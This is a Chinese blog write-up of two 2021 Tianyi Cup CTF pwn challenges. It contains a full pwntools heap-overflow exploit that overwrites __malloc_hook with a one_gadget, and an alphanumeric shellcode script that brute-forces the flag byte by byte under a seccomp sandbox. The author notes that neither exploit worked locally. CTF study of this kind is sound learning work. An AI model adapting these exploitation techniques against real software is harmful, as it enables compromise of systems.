2021天翼杯PWN

前言

太菜了,一题没出;又是抱着大佬WP跟着复现~

来源:http://www.darry-long.top/2021/09/23/2021-%E5%A4%A9%E7%BF%BC%E6%9D%AF-pwn/

chaos

image-20210926091254408

常规checksec,64位保护全开

image-20210926100956854

第一次进行比较长的代码审计,对我来说还是比较困难的,基本上都是跟着大佬的注释边写边考虑逻辑

image-20210926101234190

image-20210926101445271

image-20210926110301065

这保存的是一个单链表结构,在每个申请出来的堆块上的0x210保存在前一个堆块的地址,在0x208处保存着当前堆块可写入的数据的长度,所以是存在堆溢出的,修改了size就可以修改保存堆块的地址,变成任意地址写或者修改下一块堆块的堆头、fd\bk指针等。因为是单向链表结构,所以是一个一个追溯的,越晚申请的堆块序号越靠前,但是在堆上的地址其实是靠后的

image-20210926121301503

image-20210926121807097

最终在我本地调为符合one_gadget的环境要求,可是不知道为什么最终却没有getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux')
elf = ELF("./chall")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
#libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
#p = remote("",)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.recvuntil(">>> ")
p.send("opcode:1\npasswd:Cr4at31\n\r\r\n")
p.recvuntil(">>> ")
p.sendline(str(size))
p.recvuntil(">>> ")
p.send(content)

def edit(idx,content):
p.recvuntil(">>> ")
p.send("opcode:3\npasswd:Ed1t1\n\r\r\n")
p.recvuntil(">>> ")
p.sendline(str(idx))
p.recvuntil(">>> ")
p.send(content)

def show(idx):
p.recvuntil(">>> ")
p.send("opcode:2\npasswd:SH0w1\n\r\r\n")
p.recvuntil(">>> ")
p.sendline(str(idx))

def free(idx):
p.recvuntil(">>> ")
p.send("opcode:4\npasswd:D3l4te1\n\r\r\n")
p.recvuntil(">>> ")
p.sendline(str(idx))

'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

add(0x208, 'c'*0x208)
add(0x208, 'b'*0x208)
add(0x208, 'a'*0x208)
show(0)
p.recvuntil('a'*0x208)
heap_addr = u64(p.recv(6).ljust(8,'\x00')) - 0x4c0
log.info("heap_addr==>0x%x" %heap_addr)
for i in range(5):
add(0x208,'a'*0x208) #新申请的为0
for i in range(7):
free(0)
free(0)
add(0x208,'a'*0x208) #0
edit(0,'a'*0x208 + p64(heap_addr + 0x2e0))
show(1)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3ebca0
log.info("libc_base==>0x%x" %libc_base)
mlh = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']
ogg = libc_base + 0x4f432
edit(0, 'a'*0x208 + p64(mlh - 0x8))
edit(1, p64(ogg) + p64(realloc + 9))
p.recvuntil(">>> ")
p.send("opcode:1\npasswd:Cr4at31\n\r\r\n")
p.interactive()

ezshell

image-20211003091318701

程序很简单,总的说就是输入内容,然后转移到可执行的地址上去执行。

image-20211003091835842

然后开启了沙箱,只允许使用 open 和 read 函数,同时要求 read 函数的 fd 参数右移32位后仍然大于0或者是大等.于4

image-20211003091716855

可写可执行段在0x10000~0x11000

首先orw是没跑了,但是没有write,所以只能是逐字节进行爆破的思想:根据是否异常区分爆破的字符对错。但是我愣是没做出来,算了,思想知道就行,官方wp我跑了本地也没出,差评!

贴个官方的wp好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

from pwn import *
from ae64 import AE64
if args['DEBUG']:
context.log_level = "debug"
code = ELF("./chall")
context.arch=code.arch

def payload(idx, ch):
tmp = '''''
open_sec:
xor rax, rax
add al, 2
jmp x
y: pop rdi
xor rsi,rsi
syscall
xor rax, rax
add al, 2
jmp p
q: pop rdi
xor rsi,rsi
syscall
push rax
pop rdi
xor rax, rax
xor rdx, rdx
add dl, 0xff
mov rsi, rsp
syscall
mov al, [rsp+{}]
cmp al, {}
jne tmp
jmp $
tmp:
xor rax,rax
add al,60
xor rdi,rdi
syscall
x:
call y
.string "./flag"
p:
call q
.string "./flag"
'''.format(idx, ord(ch))

shellcode = asm(tmp)
# get alphanumeric shellcode

return AE64().encode(shellcode, 'rdx').decode('latin-1')

flag = ''
i = 0
while True:
for x in string.printable:
conn = process("./chall")
conn.sendlineafter("?\n", payload(i, x))
try:
conn.recv(1, timeout=1)
except EOFError:
conn.close()
continue
print(flag,i)
flag += x
i += 1
conn.close()
if '}' in flag:
print(flag)
exit()
break

conn.interactive()
查看评论